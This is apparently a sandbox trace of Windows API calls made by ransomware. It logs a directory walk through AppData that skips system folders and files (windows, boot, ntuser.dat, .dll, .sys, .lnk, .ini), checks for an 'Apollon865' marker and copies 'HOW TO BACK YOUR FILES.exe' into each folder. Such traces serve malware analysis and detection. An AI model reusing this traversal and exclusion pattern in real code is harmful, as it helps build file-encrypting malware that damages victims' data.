	[0043.184] lstrcmpiW (lpString1="Pbk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.184] lstrcmpiW (lpString1="Pbk", lpString2="Apollon865.txt.exe") returned 1
	[0043.184] lstrcmpiW (lpString1="Pbk", lpString2=".") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="..") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="windows") returned -1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="bootmgr") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="temp") returned -1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="pagefile.sys") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="boot") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="ids.txt") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="ntuser.dat") returned 1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="perflogs") returned -1
	[0043.185] lstrcmpiW (lpString1="Pbk", lpString2="MSBuild") returned 1
	[0043.185] lstrlenW (lpString="Pbk") returned 3
	[0043.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned 77
	[0043.185] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Pbk" | out: lpString1="Pbk") returned="Pbk"
	[0043.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0043.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5995a0
	[0043.185] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0043.185] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0
	[0043.185] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.185] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0043.185] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk"
	[0043.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0043.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 79
	[0043.185] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk"
	[0043.185] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.189] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d0d1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.190] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.190] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d0d1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.190] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.190] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.190] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.190] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d0d1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.190] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.190] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="Apollon865.txt.exe") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2=".") returned 1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="..") returned 1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="windows") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="bootmgr") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="temp") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="pagefile.sys") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="boot") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="ids.txt") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="ntuser.dat") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="perflogs") returned -1
	[0043.190] lstrcmpiW (lpString1="_hiddenPbk", lpString2="MSBuild") returned -1
	[0043.190] lstrlenW (lpString="_hiddenPbk") returned 10
	[0043.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned 81
	[0043.190] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="_hiddenPbk" | out: lpString1="_hiddenPbk") returned="_hiddenPbk"
	[0043.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0043.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb6) returned 0x5c1458
	[0043.191] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0043.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0
	[0043.191] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.191] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0043.191] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk"
	[0043.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0043.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0043.191] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 90
	[0043.191] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk"
	[0043.191] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.195] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d0d1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.195] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.195] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.195] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.195] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d0d1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.196] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.196] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.196] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.196] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d0d1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d0d1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.196] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="Apollon865.txt.exe") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2=".") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="..") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="windows") returned -1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="bootmgr") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="temp") returned -1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="pagefile.sys") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="boot") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="ids.txt") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="ntuser.dat") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="perflogs") returned 1
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2="MSBuild") returned 1
	[0043.196] lstrlenW (lpString="rasphone.pbk") returned 12
	[0043.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned 92
	[0043.196] lstrcpyW (in: lpString1=0x2d3e606, lpString2="rasphone.pbk" | out: lpString1="rasphone.pbk") returned="rasphone.pbk"
	[0043.196] lstrlenW (lpString="rasphone.pbk") returned 12
	[0043.196] lstrlenW (lpString="Apollon865") returned 10
	[0043.196] lstrcmpiW (lpString1="sphone.pbk", lpString2="Apollon865") returned 1
	[0043.196] lstrlenW (lpString=".dll") returned 4
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2=".dll") returned 1
	[0043.196] lstrlenW (lpString=".lnk") returned 4
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2=".lnk") returned 1
	[0043.196] lstrlenW (lpString=".ini") returned 4
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2=".ini") returned 1
	[0043.196] lstrlenW (lpString=".sys") returned 4
	[0043.196] lstrcmpiW (lpString1="rasphone.pbk", lpString2=".sys") returned 1
	[0043.197] lstrlenW (lpString="rasphone.pbk") returned 12
	[0043.197] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project"
	[0043.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0043.197] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0043.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned 66
	[0043.197] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project"
	[0043.197] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.197] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d33350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.205] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.205] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.205] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.205] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31d33350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.205] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.205] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.205] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.205] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.205] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="Apollon865.txt.exe") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2=".") returned 1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="..") returned 1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="windows") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="bootmgr") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="temp") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="pagefile.sys") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="boot") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="ids.txt") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="ntuser.dat") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="perflogs") returned -1
	[0043.205] lstrcmpiW (lpString1="14", lpString2="MSBuild") returned -1
	[0043.205] lstrlenW (lpString="14") returned 2
	[0043.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned 68
	[0043.205] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="14" | out: lpString1="14") returned="14"
	[0043.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0043.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5995a0
	[0043.205] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0043.206] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d33350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.206] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.206] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31d33350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31d33350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.206] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.206] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0043.206] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14"
	[0043.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0043.206] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0043.206] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned 69
	[0043.206] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14"
	[0043.206] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.206] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.211] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
